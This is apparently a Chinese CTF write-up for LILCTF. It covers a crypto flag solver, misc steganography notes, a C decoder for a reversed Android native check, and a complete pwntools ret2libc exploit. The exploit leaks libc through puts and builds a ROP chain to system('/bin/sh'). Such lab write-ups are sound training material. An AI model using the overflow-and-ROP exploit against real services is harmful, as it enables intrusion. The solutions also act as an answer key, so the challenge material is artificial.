c11, c12 = C[0][0], C[0][1]
c21, c22 = C[1][0], C[1][1]
tr = (c11 + c22) % p
det = (c11 * c22 - c12 * c21) % p
delta = (tr * tr - 4 * det) % p
sqrt_d = sqrt_mod(delta, p)
inv2 = pow(2, -1, p)
l1 = ((tr + sqrt_d) * inv2) % p
l2 = ((tr - sqrt_d) * inv2) % p
f1 = long_to_bytes(l1)
f2 = long_to_bytes(l2)
try: print(f"LILCTF{{{(f1 + f2).decode()}}}")
except: pass
try: print(f"LILCTF{{{(f2 + f1).decode()}}}")
except: pass
Misc
提前放出附件
v我50RMB
数据库的信息是webp导致保存下来的是截断的图片,但是实际服务器上储存的是png文件,通过抓包可以知道
PNG Master
文件尾藏了一个
RGB
binwalk
Re
ASM ASM
使用jadx打开apk文件,在AndroidManifest.xml中找到主页面work.pangbai.ez_asm_hahaha.MainActivity
发现程序的基本流程是对输入的字符串用check函数加密后,与KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S进行对比校验,而check函数是在ez_asm_hahaha.so这个库中实现的
于是我们可以将ez_asm_hahaha.so提取出来,放入IDA进行逆向。
通过分析我们得知加密过程就是下面这一段。整个程序具体过程如下:
- 输入字符串必须是48字节长度
- 有一个变换过程,使用了NEON指令进行异或和表查找操作
- 接着有一个位操作的循环
- 最后进行Base64编码
- 目标输出是:"KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
值得注意的是,这里的base64进行了换表
然后依照程序流程逆向实现一遍即可。
exp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
const char base64[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/";
const uint8_t t[] = {0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0};
char* decodeBase64(const char* input, int* output_len) {
int len = strlen(input);
int decode_table[256];
memset(decode_table, -1, sizeof(decode_table));
for (int i = 0; i < 64; i++) {
decode_table[(unsigned char)base64[i]] = i;
}
char* result = malloc(3 * (len / 4) + 1);
int out_pos = 0;
for (int i = 0; i < len; i += 4) {
int val = 0;
for (int j = 0; j < 4; j++) {
if (i + j < len && input[i + j] != '=') {
val = (val << 6) | decode_table[(unsigned char)input[i + j]];
} else {
val = val << 6;
}
}
result[out_pos++] = (val >> 16) & 0xFF;
if (input[i + 2] != '=') {
result[out_pos++] = (val >> 8) & 0xFF;
}
if (input[i + 3] != '=') {
result[out_pos++] = val & 0xFF;
}
}
result[out_pos] = '\0';
*output_len = out_pos;
return result;
}
void reverse_bit_operations(char* data, int len) {
for (int j = 0; j < len; j += 3) {
if (j + 2 < len) {
uint8_t temp1 = data[j + 1];
data[j + 1] = ((temp1 << 1) & 0xFE) | ((temp1 >> 7) & 0x01);
uint8_t temp0 = data[j];
data[j] = ((temp0 << 5) & 0xE0) | ((temp0 >> 3) & 0x1F);
}
}
}
void reverse_neon_transform(uint8_t* data) {
uint8_t v10_states[4][16];
memcpy(v10_states[0], t, 16);
for (int i = 0; i < 3; i++) {
memcpy(v10_states[i + 1], v10_states[i], 16);
for (int k = 0; k < 16; k++) {
v10_states[i + 1][k] ^= i;
}
}
for (int i = 2; i >= 0; i--) {
uint8_t* current_v10 = v10_states[i];
for (int j = 0; j < 16; j++) {
data[16 * i + j] ^= current_v10[j];
}
uint8_t temp_block[16];
memcpy(temp_block, &data[16 * i], 16);
for (int j = 0; j < 16; j++) {
data[16 * i + current_v10[j]] = temp_block[j];
}
}
}
int main() {
const char* target = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S";
printf("开始逆向分析...\n");
printf("目标字符串: %s\n", target);
int decoded_len;
char* decoded = decodeBase64(target, &decoded_len);
printf("Base64解码后长度: %d\n", decoded_len);
printf("解码后的十六进制数据:\n");
for (int i = 0; i < decoded_len; i++) {
printf("%02X ", (unsigned char)decoded[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
printf("\n逆向位操作...\n");
reverse_bit_operations(decoded, decoded_len);
printf("逆向位操作后的十六进制数据:\n");
for (int i = 0; i < decoded_len; i++) {
printf("%02X ", (unsigned char)decoded[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
printf("\n逆向NEON变换...\n");
if (decoded_len >= 48) {
reverse_neon_transform((uint8_t*)decoded);
printf("逆向NEON变换后的十六进制数据:\n");
for (int i = 0; i < 48; i++) {
printf("%02X ", (unsigned char)decoded[i]);
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
printf("可能的FLAG (ASCII): ");
for (int i = 0; i < 48; i++) {
if (decoded[i] >= 32 && decoded[i] <= 126) {
printf("%c", decoded[i]);
} else {
printf("\\x%02X", (unsigned char)decoded[i]);
}
}
}
free(decoded);
return 0;
}
Pwn
签到
利用puts泄露出全局libc地址,构造ROP执行system("/bin/sh")
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.os = "linux"
context.arch = "amd64"
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
p = process("./pwn")
# p = remote("challenge.xinshi.fun", 49977)
pop_rdi = 0x0000000000401176
payload = (
b"A" * 0x70
+ p64(elf.bss() + 0x200)
+ p64(pop_rdi)
+ p64(elf.got["puts"])
+ p64(elf.plt["puts"])
+ p64(elf.sym["main"])
)
# gdb.attach(p)
p.sendlineafter(b"What's your name?\n", payload)
puts_addr = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"puts: {hex(puts_addr)}")
libc.address = puts_addr - libc.sym["puts"]
payload = (
b"A" * 0x70
+ p64(elf.bss() + 0x200)
+ p64(libc.address + 0x0000000000029139) # pop rax; ret;
+ p64(pop_rdi)
+ p64(libc.address + 0x00000000001d8678)
+ p64(libc.sym["system"])
)
p.sendlineafter(b"What's your name?\n", payload)
p.interactive()